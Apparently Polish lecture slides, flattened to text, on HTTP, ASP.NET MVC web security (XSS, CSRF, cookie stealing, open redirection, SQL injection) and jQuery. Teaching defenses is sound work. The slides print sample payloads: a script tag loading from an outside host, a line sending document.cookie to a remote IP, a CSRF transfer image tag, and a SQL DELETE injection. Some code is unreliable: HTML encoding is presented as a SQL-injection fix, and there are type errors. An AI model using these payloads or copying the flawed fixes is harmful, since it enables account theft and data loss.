Zagrożenia
Warstwy protokołów internetowych IP Warstwa sieciowa UDP TCP Warstwa transportowa DNS FTP Warstwa aplikacji TELNET SMTP NNTP POP3 SSH SSH HTTP HTTPS
Protokół HTTP (HyperText Transfer Protocol) Pakiet wysyłany przez serwer GET / HTTP/1.1 Host: host.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.6) Gecko/20040122 Accept: text/xml,application/xml,application/xhtml+xml,text/html; q=0.9,text/plain;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive znak powrotu karetki i wysunięcia strony (CRLF)
Protokół HTTP (HyperText Transfer Protocol) Odpowiedź serwera HTTP/1.1 200 OK Date: Sun, 11 Jul 2004 12:04:30 GMT Server: Apache/2.0.50 (Unix) DAV/2 Set-Cookie: PSID=d6dd02e9957fb162d2385ca6f2829a73; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache (stara metoda) Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-2 znak powrotu karetki i wysunięcia strony (CRLF) tutaj zawartość dokumentu
Metody HTTP GET – pobranie zasobu HEAD – pobranie informacji o zasobie POST – przesłanie danych na serwer PUT – umieszczenie zasobu na serwerze DELETE – usunięcie zasobu z serwera TRACE, CONNECT, OPTIONS
Kody odpowiedzi HTTP 200 OK Zawartość żądanego dokumentu (najczęściej zwracany nagłówek odpowiedzi w komunikacji WWW) 201 Created Utworzono - wysłany dokument został zapisany na serwerze 204 No content Brak zawartości - serwer zrealizował zapytanie klienta i nie potrzebuje zwracać żadnej treści 304 Not Modified Nie zmieniono - zawartość zasobu nie podległa zmianie według warunku przekazanego przez klienta (np. data ostatniej wersji zasobu pobranej przez klienta 400 Bad Request Nieprawidłowe zapytanie - żądanie nie może być obsłużone przez serwer z powodu błędnej składni zapytania 401 Unauthorized Nieautoryzowany dostęp - żądanie zasobu, który wymaga autentykacji 403 Forbidden Zabroniony - serwer zrozumiał zapytanie lecz konfiguracja bezpieczeństwa zabrania mu zwrócić żądany zasób 404 Not Found Nie znaleziono - serwer nie odnalazł zasobu według podanego URI ani niczego co by wskazywało na istnienie takiego zasobu w przeszłości
Kody odpowiedzi HTTP 500 Internal Server Error Wewnętrzny błąd serwera - serwer napotkał niespodziewane trudności, które uniemożliwiły zrealizowanie żądania 505 HTTP Version Not Supported Wersja HTTP nie obsługiwana - serwer nie obsługuje bądź odmawia obsługi wskazanej przez klienta wersji HTTP
Cross-Site Scripting (XSS) Umożliwienie użytkownikowi wprowadzenia kodu skryptowego, który będzie bez zmian przesłany do przeglądarki innego użytkownika
<a href=”No blog! Sorry :<”>Bob</a> foreach (m in Model) { <div> @m.Name <a href="@m.HomeBage" /a> </div> } <a href=”No blog! Sorry :<”>Bob</a> “></a><script src=”http://trojan.polsl.pl”></script> <a href=”
Zabezpieczenie HTML Enkodowanie HTML całej zawartości @Model.Nazwisko @Html.Encode(Model.Nazwisko) “></a><script src=”http://trojan.polsl.pl”></script> <a href=” "></a><script src="http://trojan.polsl.pl"></script> <a href=" <a href=”<%=Url.Action(“index”,”home”,new {name=ViewBag.nazwa})%>”>Naciśnij</a> <a href=”<%=Url.Action(“index”,”home”,new {name=Html.AttributeEncode(ViewBag.nazwa)})%>”>Naciśnij</a> <a href=”<%=Url.Encode(Url.Action(“index”,”home”, new {name=ViewBag.nazwa}))%>”>Naciśnij</a> AttributeEncode tylko znaki: " & < \
Ochrona domyślna <pages validateRequest="true" />
Zabezpieczenia JS <h2 id=”info”></h2> public ActionResult Index(string UserName) { ViewBag.UserName = UserName; return View(); } <h2 id=”info”></h2> @if(@ViewBag.UserName != null) { <script type=“text/javascript“> $(function () { var message = ‘Welcome, @Html.Encode(ViewBag.UserName)!‘; $("#info“).html(message).hide().show(‘slow‘); }); </script> } http://localhost:1337/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e Encoder.JavaScriptEncode
Cookies Serwer Set-Cookie: nazwa=wartość; expires=DATA; path=ŚCIEŻKA; domain=DOMENA; secure; httpOnly Przeglądarka Cookie: ciasteczko_1=wartosc_1; ciasteczka_2=wartosc_2;...
Cookies
Sessja Serwer Przeglądarka Domena Strona1 Token Strona2 Strona3 Sprawdzenie obecności ciasteczka-tokena dla domeny, wysłanie żądania strony1 bez ciasteczka. Domena Strona1 Sprawdzenie obecności w żądaniu ciasteczka-tokena, wygenerowanie tokena, wysłanie strony1+tokena. Token Strona2 Sprawdzenie obecności ciasteczka-tokena dla domeny, wysłanie żądania strony2 i tokenu. Strona3 Sprawdzenie obecności ciasteczka-tokena dla domeny, wysłanie żądania strony3 i tokenu.
Cross-Site Request Forgery Wykonanie kodu z uprawnieniami innego internauty <img src=”/account/logout” /> <img src=”/przelewy/wykonaj?z=2134198984&do=363674236” /> Widok z obrazkiem Akcja wykonania przelewu „Pobranie” obrazka
Zabezpieczenie Takie jak w XSS. Weryfikacja tokena Blokowanie wywołań GET <form action=”/account/register” method=”post”> <@Html.AntiForgeryToken()> </form> <input type=”hidden” value=”012837udny31w90hjhf7u”> [ValidateAntiforgeryToken] public ActionResult Register(…)
Kontrola źródła formularza public class IsPostedFromThisSiteAttribute : AuthorizeAttribute { public override void OnAuthorize(AuthorizationContext filterContext) if (filterContext.HttpContext != null) if (filterContext.HttpContext.Request.UrlReferrer.Host != “www.polsl.pl”) throw new System.Web.HttpException (“Ten formularz nie zostal wysłany z tej strony!”); }}} [IsPostedFromThisSite] public ActionResult Register(…)
Cookie Stealing Zabezpieczenie window.location=”http://1.2.3.4:81/r.php?u=" +document.links[1].text +”&l=”+document.links[1] +”&c=”+document.cookie;” Zabezpieczenie Zapobieganie XSS Zakaz dostępu do Cookies z poziomu skryptu JS <httpCookies domain=”String” httpOnlyCookies=”true” requireSSL=”false” /> Response.Cookies[“MyCookie”].Value=”Tajne"; Response.Cookies[“MyCookie].HttpOnly=true;
Open Redirection /Account/LogOn?ReturnUrl=%2fAccount%2fChangePassword%2f. [HttpPost] public ActionResult LogOn(LogOnModel model, string returnUrl) { if (ModelState.IsValid) if (Membership.ValidateUser(model.UserName, model.Password)) FormsAuthentication.SetAuthCookie(model.UserName, model.RememberMe); if (Url.IsLocalUrl(returnUrl) && returnUrl.Length > 1 && returnUrl.StartsWith("/") && !returnUrl.StartsWith("//") && !returnUrl.StartsWith("/\\")) return Redirect(returnUrl); } else return RedirectToAction("Index", "Home"); ModelState.AddModelError("", "The user name or password provided is incorrect."); // If we got this far, something failed, redisplay form return View(model);
SQL Injection public ActionResult DodajPracownika(string nazwisko) { SqlConnection połączenie=new SqlConnection("…”); SqlConnection polecenie=new SqlCommand("INSERT INTO Pracownicy (Nazwisko) VALUES("+nazwisko+”)”); połączenie.Open(); polecenie.ExecuteNonQuery(); połączenie.Close(); } Serwer.pl/Pracownik/DodajPracownika?nazwisko=Kowal”);DELETE FROM Pracownicy;
Zabezpieczenia public ActionResult DodajPracownika(string nazwisko) { SqlConnection połączenie=new SqlConnection("…”); SqlConnection polecenie=new SqlCommand("INSERT INTO Pracownicy (Nazwisko) VALUES("+Html.Encode(nazwisko)+”)”); połączenie.Open(); polecenie.ExecuteNonQuery(); połączenie.Close(); } public ActionResult DodajPracownika(string nazwisko) { SqlConnection połączenie=new SqlConnection("…”); SqlConnection polecenie=new SqlCommand("INSERT INTO Pracownicy (Nazwisko) VALUES(@Nazwisko)”); polecenie.Parameters.Add("Nazwisko”,SqlTypes.VarChar,14).Value=nazwisko; połączenie.Open(); polecenie.ExecuteNonQuery(); połączenie.Close(); }
JQuery Biblioteka JS niezależna od przeglądarki Biblioteka open source Maszyna selekcji elementów niezależna od przeglądarki Modyfikacja dokumentu DOM Możliwość wykorzystania selektrów CSS Biblioteka oparta o zdarzenia Umożliwia uzyskiwanie efektów i animacji Wspiera AJAX
Konfiguracja Pobranie biblioteki ze strony http://jquery.com/download Dołączenie biblioteki do strony <script type="text/javascript" src="jquery.js"></script>
Definiowanie zdarzeń <html> <head> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> $(document).ready(Zarejestruj); function Zarejestruj() { $("a").click(Przywitaj); } function Przywitaj() alert("Dzień dobry"); </script> </head> <body> <a href="">Przywitaj</a> </body> </html>
Funkcja anonimowa <html> <head> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> $(document).ready(function() { $("a").click(function() { alert("Dzień dobry!"); }); </script> </head> <body> <a href="">Przywitaj</a> </body> Funkcja anonimowa
Selektory CSS <html> <head> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> $(document).ready(function(){$("p.wazny").css("background-color","Yellow");}); </script> </head> <body> <p>Akapit 1</p> <p class="wazny">Akapit 2</p> <p class="wazny">Akapit 3</p> </body> </html>
Dodawanie elementów <html> <head> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> $(document).ready(function(){ for (i=1;i<=10;i++) $("#lista").append("<li>"+i+"</li>"); }); </script> </head> <body> <ul id="lista"> </ul> </body> </html>
Efekty $(document).ready() <!DOCTYPE html> <html> <head> <script src="jquery.js"></script> <script> $(function(){ $("#przycisk").click(function(){ $("#napis").fadeOut(3000); }); </script> </head> <body> <input type="button" id="przycisk" value="Start" /> <div id="napis">Przykładowy efekt</div> </body> </html> $(document).ready()
Animacja <!DOCTYPE html> <html> <head> <script src="jquery.js"></script> <script> $(function(){ $("#przycisk").click(function(){ $("#napis").animate({left:'+=100px'}); }); </script> </head> <body> <input type="button" id="przycisk" value="Start" /> <div id="napis" style="position:absolute;left:200px">Przykładowy efekt</div> </body> </html>
Callback Callback <!DOCTYPE html> <html> <head> <script src="jquery.js"></script> <script> $(function(){ $("#przycisk").click(function(){ $("#napis").animate({left:'+=100px'},"slow",function(){$("#napis").hide();}); }); </script> </head> <body> <input type="button" id="przycisk" value="Start" /> <div id="napis" style="position:absolute;left:200px">Przykładowy efekt</div> </body> </html> Callback
AJAX Asynchronous JavaScript and XML
AJAX
JSON JSON, JavaScript Object Notation